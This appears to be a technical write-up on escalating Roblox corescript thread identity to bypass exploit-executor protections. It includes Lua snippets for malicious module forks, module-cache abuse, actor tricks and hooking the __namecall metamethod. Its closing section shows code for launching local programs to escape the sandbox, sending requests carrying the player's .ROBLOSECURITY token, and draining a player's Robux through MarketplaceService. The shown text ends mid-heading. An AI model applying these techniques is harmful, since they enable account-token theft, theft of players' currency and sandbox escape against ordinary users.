author: James Napora.
- corescripts have RobloxScript permissions on Roblox.
- exploit function protections do not run on any threads except exploit threads.
- roblox has several permission levels:
None
,Plugin
,LocalUser
,RobloxScript
andRoblox
. - actors on Roblox run whenever a script under it has a client run context, e.g local scripts, scripts with RunContext.Client and corescripts.
- scripts under actors share the same global state
- corescripts have their own global state if they are not running under an actor
let's talk a bit about roblox's require
implementation.
some corescripts use a CoreUtility
because roblox does not have WaitForChildOfClass
and WaitForChildWhichIsA
by default
local CoreUtility = {}
function CoreUtility.waitForChildOfClass(parent, className)
local child = parent:FindFirstChildOfClass(className)
while not child or child.ClassName ~= className do
child = parent.ChildAdded:Wait()
end
return child
end
function CoreUtility.waitForChildWhichIsA(parent, className)
local child = parent:FindFirstChildWhichIsA(className)
while not child or not child:IsA(className) do
child = parent.ChildAdded:Wait()
end
return child
end
return CoreUtility
if we were to replace the original CoreUtility
module with a malicious fork that runs malicious code in waitForChildOfClass
, we would be greeted with a Cannot require a non-RobloxScript module from a RobloxScript
.
however if we were to manage to elevate the thread identity of the module to level 6 it would work perfectly and require without issues.
roblox also has a cache in the global state for all modules that prevents them from ever garbage collecting but lets modules be shared across all scripts in the game. if a module is cached the Cannot require a non-RobloxScript module from a RobloxScript
error is avoided and returns the cached result from the global state.
the simplest way to create an actor with a running corescript is ScriptContext:AddCoreScriptLocal
.
game:GetService("ScriptContext"):AddCoreScriptLocal("CoreScripts/ProximityPrompt", actor)
another way to create an actor with a running corescript is if your exploit's auto-execute jobs run before the core-script jobs, it is possible to move the corescript to an actor before it runs with setparentinternal
and similar functions.
we now need to elevate the module's identity when it runs, this can be done with getfenv
and set_thread_identity
.
if getfenv(2).set_thread_identity then
getfenv(2).set_thread_identity(6)
end
local CoreUtility = {}
...
instead of having a pre-made malicious module we can also repeat what we did earlier but instead we can hook the Instance
metamethods that the corescripts will have to use, and then can achieve a more dynamic and fluid approach to running malicious code.
local mt = debug.getmetatable(game)
make_writeable(mt)
local payload_ran = false
local old = mt.__namecall
mt.__namecall = function(...)
if payload_ran == false then
payload_ran = true
--/* Anything ran here will be completely unprotected */
end
return old(...)
end
now that we have an elevated module with an active actor we need to either rerun our original actor by reparenting it or by adding a new actor ScriptContext:AddCoreScriptLocal
,
then once it requires our malicious module it will the malicious code in our functions.
if your exploit environment lacks run_on_actor
what you can do instead is abuse module caching. if a module is already cached in the global state and if your exploit doesn't modify require
, it will return the cached module for you with your malicious function.
by replacing the original module a corescript will require with our malicious copy and then requiring it in pre-made localscript that is parented under an actor and then adding a new corescript under the same actor, we can successfully bypass the thread identity check.
refer to the last section for other key details.
if your exploit environment supports fire_signal
or get_connections
it is possible they can fire an actor's connections, which includes the corescript's connections.
Through this you can send unsansitized data and attempt to have blocked functions called this way.
several opportunities are opened up with unrestricted RobloxScript
permissions.
MessageBusService
becomes completely unrestricted and we can abuse the many Roblox messages it exposes, we can also access the openUrlRequest
messages which lets us escape the sandbox trivially.
game:GetService("MessageBusService"):Publish(game:GetService("MessageBusService"):GetMessageId("Linking", "openURLRequest"), {url = "notepad.exe"})
we can use HttpService:RequestInternal
and GuiService:OpenBrowserWindow
to send a request to a domain with the player's .ROBLOSECURITY
token.
game:GetService("HttpService"):RequestInternal{Url = "https://www.google.com/"}
game:GetService("GuiService"):OpenBrowserWindow("https://www.google.com/")
MarketplaceService
is also unrestricted and allows to us to steal all the player's robux.
print(game:GetService("MarketplaceService"):GetRobuxBalance())
game:GetService("MarketplaceService"):PerformPurchase()
MESSAGEBUSSERVICE...